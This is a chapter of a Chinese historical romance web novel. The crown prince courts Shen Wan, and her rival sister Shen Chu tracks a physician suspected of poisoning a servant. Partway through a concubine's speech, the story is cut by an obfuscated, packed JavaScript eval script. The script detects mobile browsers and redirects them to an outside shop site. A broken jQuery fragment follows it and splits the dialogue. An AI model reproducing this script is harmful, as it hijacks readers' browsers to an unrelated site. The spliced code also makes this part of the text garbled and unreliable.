翌日东宫
沈婉见到太子萧翰时,他刚同国君萧碧城议事归来。
“三姑娘。”
“臣女见过太子殿下。”
二人相互见礼,方才进门时萧翰面上的阴郁,已然化作浅笑。
侍女奉茶,两人分坐茶案两侧,端起茶盏品茶。
“三姑娘,此茶滋味如何?”
沈婉垂眼笑起:“入口清苦,回甘却绵长,是上好的雨前龙井。”
她指尖轻轻摩挲茶沿,抬眸望向对面之人,眸光浅淡柔和,带着几分含蓄的情意。
“茶需遇得懂它之人,才能尽显本味。臣女只盼日后,能常伴殿下身侧,事事尽心,不负殿下垂青。”
茶盏轻轻落回茶案,发出一声清浅的脆响。
萧翰眸光微动,语气淡淡:“这份心意,孤记下了。只是伴我左右,前路不易。”
顿了片刻,他又道:“府上二姑娘救下长公主,立下大功,沈相怕是很欣慰。”
听闻此话,沈婉心上一震,暗暗揣测萧翰话中意思,难道他看上了沈初?
沈婉稳了稳心神,回道:“听说昨日,父亲单独叫二姐姐到书房,训斥了她一番。”
“哦?”萧翰微微侧目:“为何?”
沈婉道:“父亲为官多年,只忠于国君一人,从不结党营私。二姐姐此番行事,难免叫外人揣测,误以为父亲攀附长公主。”
萧翰垂眼望向手中茶盏:“是沈相亲口说的?”
沈婉抿了抿唇,微笑道:“父亲怎会明说?但他在二姐姐被封赏后,训斥了她,便已能说明一切。”
萧翰没有继续追问,放下茶盏,顺势覆上沈婉的手。
“殿下……”
沈婉面泛红潮,慌忙想收回手,手腕却被他紧紧攥住。
“阿婉,孤本属意你为太子妃。是长公主向父王进言,说你是庶女出身,配不上太子妃之位!”
萧翰细长的眉眼含情脉脉,深凝着沈婉,言语间却带着些许惆怅与不甘。
“长公主向来喜爱先太子萧棣,觉得孤比不上他。再加上孤母族被父王忌惮,孤在朝堂上可谓步步维艰。但孤是真心爱慕与你,若将来登基,定不负你!”
沈婉自是明白,萧翰话中意思。
他生母是李贵妃,外祖安国公出身武将,在军中颇有声望。
但箫碧城登基后,重文轻武,武将一直被文官压制。
萧翰若无文官支持,怕也坐不稳这太子之位。
沈婉垂着眼,抬起另一只手,覆上萧翰的手。
“君不负妾,妾绝不负君!”
她语调轻柔,却不失坚毅。
“殿下!”太子内侍捧着锦盒快步上前。
“孤送你的。”萧翰抬了抬下巴,示意内侍递予沈婉。
沈婉伸手接过,掀开盒盖,一支纯金凤钗静静卧在盒中,金光璀璨。
耀眼的金光晃得她微微敛眸,匆匆合上锦盒,连忙屈膝行礼。
“臣女多谢殿下!”
送走沈婉,萧翰站在廊下,迟迟没有返回。
“殿下!”
东宫内臣康松亭缓缓走近。
“她适才所言可是真的?”萧翰微微侧目。
康松亭颔首:“沈相与沈二姑娘确实发生争执。但具体内容却不得而知。”
萧翰唇角微勾:“那就是真的!”
他转身往厅内走,康松亭紧跟其后。
萧翰坐回茶案旁,侍女立马奉上一杯新茶。
康松亭躬身立在一旁,看向萧翰。
“殿下,毕竟是个庶女,她所言真的可信?”
萧翰抿下一口茶,笑道:“她身负凤凰命格,怎能以嫡庶来论?”
“可微臣听说,当年带着凤凰命格出生的是沈家二姑娘。”
听了康松亭的话,萧翰拿茶的手微微一顿,语气疑惑:“那位二姑娘与沈婉同日同时出生,但缠绵病榻多年,就连其母都嫌她不详。”
“可她首次露面,先拔得拈针雅会头筹,后救下长公主被荣封为县君。”康松亭凝眉:“这般际遇,倒似有吉星照拂。”
萧翰听闻,嗤笑一声:“对孤而言,何等命格并不重要。但她必须是沈相最心爱的女儿!”
康松亭敛眸深思,片刻后点头:“那是微臣多想了,听闻沈相有意将沈二姑娘远嫁!”
“一个不被沈相看重的女儿,于孤毫无用处。”
萧翰起身,缓步踱了数步,倏然驻足,转头望向康松亭:“不过,有机会,仍要见一见这位沈二姑娘。相府那边,万不可松懈。”
康松亭躬身应道:“臣遵殿下吩咐。”
马车内,沈婉捧着锦盒,目光落在盒内的金钗上,久久挪不开眼。
方才萧翰的情话,仿佛还萦绕在耳畔,一抹羞涩的笑意不由自主浮现在她的面颊。
“姑娘,殿下待您真好!”
身旁兰草柔声叹道。
沈婉回过神,合上锦盒,垂眸笑而不语。
“姑娘,适才在厅外,婢子瞧见内侍还带回一箱子小玩意。”
听了兰草的话,沈婉不假思索道:“殿下收养了几名孤儿,那些小玩意定是给他们的。此事鲜少有人知晓,我也是偶然间才得知。”
“殿下心里有姑娘,才会什么都告诉您。”兰草笑道。
沈婉微微一怔,脸上的神情稍显僵硬,只得讪讪弯了弯唇角。
其实这件事,萧翰并未对她说起过。
是她偶然发现,萧翰总爱搜集孩童喜欢的玩意,私下向康松亭打听来的。
细细想来,萧翰很少向她谈及自己的事。
“姑娘,京中贵女们哪个不羡慕您?”兰草满脸骄傲:“殿下人长得好,脾气也温和,将来登基一定是位明君!”
兰草的话,宽慰沈婉不少。
萧翰毕竟是太子,未来北魏的国君,怎能奢望如寻常人家夫君般交心?
只要他与自己两情相悦,便已是极好的了!
沈婉回到椿林苑时,薛姨娘正与刘妈妈说话,见她进来,神色都有些不自然。
沉浸在甜蜜中的沈婉并未在意,向薛姨娘行了礼,便往自己房中去。
直到她关上房门,薛姨娘才将视线转回刘妈妈。
“你可听得真切?”
刘妈妈压低声:“凝芳院下人都在传,二姑娘重情义,要重查温妈妈之死。”
薛姨娘心头一紧,神色立时焦灼。
“当年她就闹过一场,查出温妈妈是中毒身亡。只可惜她执意亲自送葬,扫了夫人的颜面,才没能继续追查真凶。”
刘妈妈道:“姨娘且宽心,夫人仍不待见二姑娘,怎会搭理她!”
“糊涂!”薛姨娘凝眉:“现如今,她是国君亲封的县君,手里握着万两黄金,想要查事还需通过夫人?”
她沉咛片刻,抬手从发髻摘下一枚翡翠金钗,递给刘妈妈。
“给周郎中送去,让他尽快离开京城!”
刘妈妈惋惜道:“这可是姨娘入府那年,相爷送您的礼物。”
薛姨娘目光落在金钗上,眼底皆是不舍。
“我视它如珍宝,十几年来日日佩戴,只当这是沈郎与我的情意。可是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17970335|214615||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
……”
她眸光突变,像是被刺痛一般,猛地移开视线,望向门外远处。
“如今早已今非昔比,待阿婉入了东宫,一支金钗又何足挂齿!”
刘妈妈捧着金钗,正要转身退下,薛姨娘又开口叮嘱。
“白日人多眼杂,入夜再走后门送去。”
刘妈妈点头,低声问道:“可要告知姑娘?”
薛姨娘神色讳莫如深,断然道:“不必。莫要扰得她心烦。”
“是。”
今夜无风,乌色云团遮住明月,四下沉沉,一片昏晦。
“姑娘,姑娘!”
梳洗好的沈初,正歪在床头看书,听到呼唤声,抬眸就看见冬桃像只兔子窜进房内。
“有情况?”
沈初放下书,满眼期待。
“刘妈妈出府了,春杏跟上去了!”
冬桃说完这句,才顾得上喘气。
沈初笑了:“还真是沉不住气儿。”
“姑娘,咱们今晚会有收获吗?”
冬桃问完,拿起桌上茶盏一口灌下,喝的着急些,几滴茶水珠子挂在下巴上。
“且等着吧!”
沈初递过一方绢帕给她擦嘴,随即歪靠回床头,若无其事地翻起书卷。
不知过了几时,院内响起急促的脚步声。
房门被猛地推开,带着微凉夜风呼啸而入,烛火摇曳,纱幔翻飞。
沈初抬眼,正望见夜空悬着一轮皎皎明月。
“姑娘,刘妈妈去了城中一家医馆。”
沈初没应声,抬手示意春杏坐下,又命冬桃为她端上一杯凉茶。
待春杏气息平缓,她才开口问道:“她是去看病?”
“不像寻医问药。”春杏凝眉摇头:“随那郎中进了医馆,不多时便也出来了。”
“只是……”
见她似有疑惑,沈初立刻追问:“只是什么?”
“只是郎中瞧着眼熟。”春杏垂眸想了片刻,忽而眸色一亮,抬眼对沈初道:“婢子想起来了,那郎中经常到府为薛姨娘诊治。”
沈初问:“是府上常请的郎中?”
“府上常请的是孙太医和肖郎中。婢子只在薛姨娘院外见过那位郎中。”春杏如实答。
沈初垂眸思量后,眉眼间逐渐平缓,浅浅一笑道:“那就对了!”
随后,她又问:“可有派人盯着?”
“有,管马厩的栓二。”
“可信吗?”
“他是温妈妈的养子。”
沈初点头,悬着的心放下一半。
“郎中懂药理,自制毒药怕是不在话下。”
沈初从床榻上起身,在房中走了个来回,忽而抬头看向春杏。
“去库房取两锭金。”
春杏与冬桃皆是满脸不解。
“姑娘是要给谁?”
沈初正色道:“那郎中。”
“若是他制毒,直接送官便是,为何还要给金子?”
沈初看向二人:“你们可有证据?倘若他拒不认账,又当如何?”
二人一时语塞。
官府断案重凭据,她们无凭无据,不但定不了罪,反倒可能遭人反咬。
沈初立在窗前,望着被乌云再一次遮盖的月色,冷声道:“刘妈妈寻那郎中,多半要拿钱财打发他离京。
她们出钱逼他销声匿迹,我便出更多,诱他反水,写下证词,指认真凶。”
树影摇曳,夜风突起,吹乱沈初的发丝,却吹不乱她的思绪。
乌云游走,明月重现,真相终有大白的一日。